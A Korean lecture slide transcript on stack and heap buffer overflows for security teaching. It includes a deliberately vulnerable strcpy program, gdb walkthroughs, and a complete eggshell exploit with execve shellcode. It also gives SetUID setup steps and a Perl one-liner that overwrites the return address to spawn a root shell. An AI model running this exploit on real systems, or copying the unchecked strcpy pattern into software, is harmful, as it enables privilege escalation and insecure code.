Presentation is loading. Please wait.

Presentation is loading. Please wait.

7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다.

Similar presentations


Presentation on theme: "7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다."— Presentation transcript:

1 7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다.
스택과 힙 버퍼 오버플로우 공격을 수행할 수 있다. 스택과 힙 버퍼 오버플로우 공격에 대한 대응책을 이해한다 내용 스택 버퍼 오버플로우 공격 힙 버퍼 오버플로우 공격 버퍼 오버플로우 공격에 대한 대책과 발전된 공격

2 스택 버퍼 오버플로우 공격 버퍼(Buffer) : 데이터를 전송, 전송하는 동안 일시 보관하는 메모리
오버플로우 : 버퍼가 가지는 일정 크기를 넘는 데이터가 입력되는 현상 버퍼 오버플로우 공격 : 버퍼에 일정 크기 이상의 데이터를 입력, 프로그램을 공격 프로그램이 사용하는 버퍼 : 메모리의 스택(Stack)과 힙(Heap)에 존재 스택 버퍼 오버플로우와 힙 버퍼 오버플로우로 구분 : 스택에 존재하는 버퍼에 대한 공격이냐 힙에 존재하는 버퍼에 대한 공격이냐에 따라 구분

3 스택 버퍼 오버플로우 공격 스택 버퍼 오버플로우 공격에 취약한 예 bugfile.c
➊ int main(int argc, char *argv[]) : argc는 취약한 코드인 bugfile.c가 컴파일되어 실행되는 프로그램의 인수 개수, *argv[]는 포인터 배열(인자로 입력되는 값에 대한 번지 수 차례로 저장), 인자가 2개일 경우 argv의 내용은 다음과 같다. •argv[0] : 실행 파일 이름 •argv[1] : 첫 번째 인자 내용 •argv[2] : 두 번째 인자 내용 ➋ char buffer[10] : 크기가 10바이트인 버퍼 할당 ➌ strcpy(buffer, argv[1]) : 버퍼에 첫 번째 인자(argv[1]) 복사 ➍printf“( %s\n”,&buffer) : 버퍼에 저장된 내용 출력 스택 버퍼 오버플로우 공격은 strcpy(buffer, argv[1])에서 발생 bugfile.c #include <stdio.h> ➊ int main(int argc, char *argv[]) { ➋ char buffer[10]; ➌ strcpy(buffer, argv[1]); ➍ printf("%s\n", &buffer); }

4 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
bugfile.c 컴파일 gdb 디버깅 : -g 옵션 사용 gcc로 컴파일 [그림 7-1] bugfile.c 컴파일 1 gcc bugfile.c -g -o bugfile ls -al

5 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
gdb를 이용해 bugfile.c 소스 코드 확인 list : gdb 이용 bugfile.c 파일을 열어 소스 코드 확인하는 명령 [그림 7-2] gdb로 bugfile.c 소스 코드 확인 2 gdb bugfile list

6 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
list 명령 : 특정 행의 범위(3행∼7행)를 조회 [그림 7-3] list 명령으로 특정 행 범위 조회 list 3, 7

7 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
브레이크 포인트 설정 gdb 이용 디버깅 수행시 list 명령 수행 결과로 나타난 프로그램 행 번호 기준 ‘b(reak) [브레이크 포인트 설정 행]’명령 이용 [그림 7-4] 5행에 브레이크 포인트 설정 3 break 5

8 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
bugfile.c의 어셈블리어 코드 확인 main과 strcpy 함수의 어셈블리어 코드 확인 함수별 어셈블리어 코드는 ‘disass [함수이름]’명령으로 확인 [그림 7-5] main 함수 어셈블리어 코드 확인 4 disass main

9 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
[그림 7-6] strcpy 함수 어셈블리어 코드 확인 disass strcpy

10 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
설정 브레이크 포인트 지점까지 프로그램 실행 후 변수 확인 설정한 브레이크 포인트(char buffer[10];)까지 프로그램 실행 ‘r(un) [인수]’명령 이용 인수‘AAAA’ 입력 [그림 7-7] 프로그램 디버깅을 위한 프로그램 실행 5 run AAAA

11 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
브레이크 포인트에서 각 변수 값과 스택의 구조 확인 변수 값은 ‘p(rint) [변수이름]’을 통해서 확인 [그림 7-8] 주요 변수 값 확인 print argc print argv[0] print argv[1] print buffer

12 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
레지스터 값과 스택 확인 레지스터 전체 값 : info reg 명령 조회 특정 레지스터 값 : info reg [레지스터종류] 명령 스택 확인 : ‘ x/[조회하는메모리범위]xw[조회하는메모리지점]’ [그림 7-9] esp 값 확인 및 esp 값으로부터 스택 내용 확인 6 info reg $esp x/16xw $esp

13 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
다음 단계로 넘어가기 gdb에서 다음 단계로 넘어가는 명령 •s(tep) : 한 행씩 실행하는데 함수 포함하면 함수 내부로 이동 실행. 올리 디버거 툴의 [Step into] 메뉴와 기능 동일 •n(ext) : 한 행씩 실행하는데 함수 포함하면 함수 완전 실행 후 다음 행으로 이동 올리 디버거 툴의 [Step over] 메뉴와 기능 동일 •c(ontinue) : 현재 위치에서 프로그램의 끝(또는 브레이크)까지 실행 7 info reg $esp x/16xw $esp

14 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
n(ext) 명령으로‘strcpy(buffer, argv[1]);’ 실행 후 buffer 값과 esp 값으로부터 스택 내용 다시 확인 [그림 7-10] esp 레지스터와 esp 포인트부터 스택 확인 next print buffer info reg $esp x/16xw $esp

15 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
c(ontinue) 명령으로 프로그램 마지막까지 실행 [그림 7-11] 프로그램 마지막까지 실행 continue

16 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
char buffer[10] 범위를 넘겨서 실행 버퍼 오버플로우 확인 : ‘printf“( %s\n”, &buffer);’행에 브레이크 포인트를 설정 A를 13개 인수로 입력, 스택 내용 확인 [그림 7-12] esp 레지스터와 esp 포인트부터 스택 확인 8 break 6 run AAAAAAAAAAAAA x/16xw $esp

17 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
➊ 0x80483f8 <main>: push %ebp 최초의 프레임 포인터(ebp) 값 스택 저장 ➋ 0x80483f9 <main+1>: mov %esp,%ebp 현재의 esp 값 ebp 레지스트리 저장 ➌ 0x80483fb <main+3>: sub $0xc,%esp esp 값(int c 할당 값)에서 12(0xc) 바이트만큼 뺀다. 스택에 4바이트 용량 할당, 스택에 buffer[10]을 할당한 부분

18 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
➍ 0x80483fe <main+6>: mov 0xc(%ebp),%eax ebp에서 상위 12바이트(0xC)의 내용을 eax 레지스터에 저장 int main(intargc, char *argv[]) 함수가 호출되기 전에 인수 부분(int argc, char *argv[])이 스택에 쌓인것

19 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
➎ 0x <main+9>: add $0x4,%eax eax 값에서 4바이트만큼 증가. 주소 값 하나는 4바이트고, eax는 argv[0]에 대한 포인터이므로 argv[1] 가리킴 ➏ 0x <main+12>: mov (%eax),%edx eax 레지스터가 가리키는 주소의 값을 edx 레지스터에 저장, 프로그램을 실행할 때 인수 부분 가리킴 ➐ 0x <main+14>: push %edx 프로그램 실행할 때 인수에 대한 포인터를 스택에 저장. 인수를 주지 않고 프로그램 실행하면 스택에 0x0 값 저장

20 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
➑ 0x <main+15>: lea 0xfffffff4(%ebp),%eax -12(%ebp)의 주소에 대한 주소 값을 eax 레지스터에 저장 실행되는 실행 파일 이름(argv[0])의 주소에 대한 주소 값 ➒ 0x804840a <main+18>: push %eax 스택에 eax를 저장

21 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
➓ 0x804840b <main+19>: call 0x <strcpy> strcpy 명령 호출

22 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
strcpy 함수 입력된 인수의 경계 체크 않음 인수는 buffer[10]으로 길이가 10바이트를 넘으면 안 됨 이보다 큰 인수를 받더라도 스택에 씀 Step 8과 같이 인수로A 13개를 쓰면 다음 그림과 같이 A가 쌓임

23 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기
ebp 일부 주소 중 1바이트를 A 문자열이 덮어쓰기 때문에 저장된 ebp 값 손상 프로그램은 오류 발생 셸 코드를 메모리에 올려두고 ret 주소를 셸 코드의 실행 주소로 바꾸면 프로그램이 실행을 마치고 돌아갈 곳을 공격 셸이 위치한 곳으로 바꿔줌으로써 스택 버퍼 오버 플로우 공격은 수행되고 셸을 얻을 수 있음 단, SetUID가 스택 오버플로우 가능한 프로그램에 설정, 관리자 소유의 파일이어야 함

24 실습 7-1 gab 분석을 통해 취약 프로그램의 버퍼 오버플로우 개념 이해하기

25 실습 7-2 스택 버퍼 오버플로우 수행하기 eggshell.c #include <stdlib.h>
#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }

26 실습 7-2 스택 버퍼 오버플로우 수행하기 void main(int argc, char *argv[]) {
char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if(argc > 1) bsize = atoi(argv[1]); if(argc > 2) offset = atoi(argv[2]); if(argc > 3) eggsize = atoi(argv[3]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if(!(egg = malloc(eggsize))) {

27 실습 7-2 스택 버퍼 오버플로우 수행하기 addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for(i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); }

28 실습 7-2 스택 버퍼 오버플로우 수행하기 bugfile.c와 eggshell.c 컴파일
bugfile.c를 관리자 계정으로 컴파일한 후, SetUID를 부여 [그림 7-20] 실습 전 환경 구성 1 gcc -o bugfile bugfile.c gcc -o egg eggshell.c chmod 4755 bugfile ls -al su - wishfree

29 실습 7-2 스택 버퍼 오버플로우 수행하기 취약 함수 찾기 strings 명령 : 컴파일한 프로그램이 사용한 함수 확인
[그림 7-21] 컴파일한 파일 속에서 strcpy 사용 확인 gdb 이용 확인한 strcpy 함수가 어떻게 사용되는지, 공격자가 이 입력 값에 대한 조작이 가능한지 판단 2 strings bugfile

30 실습 7-2 스택 버퍼 오버플로우 수행하기 ‘Segmentation Fault’가 일어나는 지점 찾기
프로그램 ret 주소 변조 : ‘ Segmentation fault’ 오류 발생, 이오류를 통해 ret 주소 위치 역으로 확인. ret 주소가 저장되는 위치를 찾기 위해 임의 길이의 A문자 입력 [그림 7-22] 입력 버퍼 이상의 문자열 입력 시 일어나는‘Segmentation fault 16번째 문자에서 ‘Segmentation fault’가 발생(bugfile.c의 char buffer[10]가 할당되는 주소 공간 12바이트, ebp 저장 공간 4바이트이기 때문 17∼20바이트까지 ret 주소임 3 ./bugfile AAAAAAAAAAAAAAA ./bugfile AAAAAAAAAAAAAAAA

31 실습 7-2 스택 버퍼 오버플로우 수행하기 eggshell 실행 eggshell 실행 셸 코드를 메모리에 남겨두고 주소 확인
스택 버퍼 오버플로우 공격 수행 펄(Perl) 이용 A 문자열과 셸의 메모리 주소를 bugfile에 직접 실행 [그림 7-24] 스택 버퍼 오버플로우 공격의 수행 4 ./eggshell 5 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x38\xfd\xff\xbf"' id

32 힙 버퍼 오버 플로우 힙 : 프로그램 실행 시 동적으로 할당한 메모리 공간
malloc 계열의 heapalloc, aeapfree, malloc, free, new, delete 등의 함수로 제어 BSS(Block Started by Symbol)라고도 부름 스택과 반대로 메모리의 하위 주소에서 상위 주소로 영역이 커짐

33 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
heap_test_02.c는 heap_test_01.c를 gdb로 효율적으로 분석하려고 간략화 한 것 heap_test_01.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUFSIZE 16 #define OVERSIZE 8 int main(){ u_long address_diff; char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); address_diff = (u_long)buf2 - (u_long)buf1; printf("buf1 = %p, buf2 = %p, address_diff = 0x%x bytes\n", buf1, buf2, address_diff); memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = ‘\0’; printf("오버플로우 전 buf1의 내용 = %s\n", buf1); printf("오버플로우 전 buf2의 내용 = %s\n\n", buf2); memset(buf1, 'B', (u_int)(address_diff + OVERSIZE)); printf("오버플로우 후 buf1의 내용 = %s\n", buf1); printf("오버플로우 후 buf2의 내용 = %s\n", buf2); return 0; }

34 실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
heap_test_02. c#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main(){ u_long address_diff; char *buf1 = (char *)malloc(16); char *buf2 = (char *)malloc(16); address_diff = (u_long)buf2 - (u_long)buf1; memset(buf2, 'A', 15), buf2[15] = '\0'; memset(buf1, 'B', (u_int)(address_diff + 8)); printf("오버플로우 후 buf2의 내용 = %s\n", buf2); return 0; }


Download ppt "7장 오버플로우 학습목표 내용 스택과 힙 버퍼 오버플로우 취약점을 이해한다."

Similar presentations


Ads by Google